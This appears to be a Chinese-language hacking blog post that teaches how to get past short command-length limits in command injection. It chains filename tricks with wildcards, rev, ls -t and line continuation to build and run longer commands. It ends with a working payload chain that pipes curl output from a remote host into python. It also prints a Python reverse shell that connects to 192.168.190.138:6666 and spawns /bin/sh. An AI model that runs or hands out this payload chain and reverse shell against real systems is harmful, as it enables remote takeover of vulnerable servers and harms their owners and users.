挖洞經驗 | 命令注入突破長度限制
0x01 背景
很多時候,在我們歷經千辛萬苦挖掘出一個漏洞或者找到一個利用點的時候,卻因為一些egg hurt的限制,導致get shell或者send payload無法成功,其實很多高手都是有一些trick的,但是往往一串包含各種trick的高深payload甩得你不知所云
最近遇到這樣一個問題。命令長度限制在5,如何完成注入get shell?
Array什麼的都嘗試無果,在學習了各種大牛的trick後,才恍然大悟,希望給初學者提供一些新的思路,集思廣益。
0x02 命令組裝
首先是命令組裝,先來看一個例子,準備工作 mkdir cmd;cd cmd;
分別輸入>echo >hello
很多人一定已經明白
此時等於 echo hello,我們可以通過**_echo _ 來檢視*到底是啥
這樣,我們通過>echo >hello 完成命令組裝,然後* 組成並執行了命令echo hello
同樣的道理
不過這次讓我們把命令長度限制到4
那麼如果我們要執行命令ls -l怎麼辦
我們模仿上面做法,輸入>ls 和>-l產生了兩個檔案 ls -l
這有個問題,我們剛才生成的echo和hello,e 的順序正好在h之前,所以ok。但是此時檔案的顯示順序-l在 ls前面,如果我們執行 其實是執行_*-l ls
那麼如何獲得ls -l呢,先是第一種思路
0x03 反轉命令
我們把這個命令字元序列反過來看 l- sl
這樣是不是順序正好滿足要求,接下來我們只需要用一個可以把字元反過來的命令,就可以完成這個功能
這樣,我們先生成l-和sl兩個命令
然後將l- sl組合寫入檔案v(為什麼檔名要用v ,下面會解釋,是個trick),最後用一個命令將檔案中的位元組反轉
如果我們直接使用ls>v
可以看到檔案v中多了一個v,對我們命令造成干擾
我們只想檔案中存在l-和sl
_trick1 _
這裡有個技巧
dir a b>c只會將a b寫到檔案c中
我們建立一個名為dir的檔案,然後執行*>v
接下來就是反序
trick2
有一個rev命令,正好可以將內容反序,我們產生一個名為rev的檔案,然後執行*v ,此時命令相當於rev v(這裡就是上面為啥檔案命名為v,為了被萬用字元匹配),這樣就產生了我們要的輸出ls -l
然後就是輸出到檔案x,然後就可以執行sh x,成功以4 個字元執行長度為5的ls -l命令
整個命令鏈(長度<=4)
完成ls -l
0x04 控制順序
理解上述命令之後
假設我們要生成ls -t >g
逆序是g< t- sl,按照字母順序 t- 會在 sl 後面,不滿足需要。所以我們變通一下,生成命令ls -th >g,逆序就是g> ht- sl,正好滿足順序要求,然後依葫蘆畫瓢
_trick3_
上面說到檔名排列的時候有預設順序,怎麼自由控制順序呢
其實ls -t 也就是根據mtime排序,新的在前面
而-h對順序本身沒什麼影響,可以方便構造payload
比如我們要生成ls -l,可以通過ls -t打破預設順序
0x05 命令續行
通過前面的一連串命令,我們已經得到ls -th >g
trick4
然後還有一點,linux的命令續行,比如ls分成兩行,都是ok
這樣,我們就可以構造一連串的拼接命令續航。比如,我要構造命令curl shadow4u|python;
py這裡看著是5個字元,超過了4個的限制,實際上是因為 shell環境需要輸入產生,但是php 程式碼exec時,只需要輸入即可產生,比如 exec(“>py”)即可。所以這裡實際上是不超過4個字元的,為了演示直觀,在shell中直接執行。
執行ls -th>g
然後sh g,實際執行反彈shell命令
curl shadow4u獲得的內容
importsocket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.190.138",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
0x06 payload鏈
所以,完整payload鏈為
生成包含ls -th >g檔案x
然後生成curl shadow4u|python命令續行檔案
然後執行sh x把curl shadow4u|python命令寫入檔案g
然後執行sh g,getshell
0x07 總結
4個trick思路加上重定向和反彈shell知識
trick1 命令組裝 dir a b >c trick2 萬用字元的妙用 *v=rev v trick3 按時間順序排列檔案 ls -t trick4 命令續行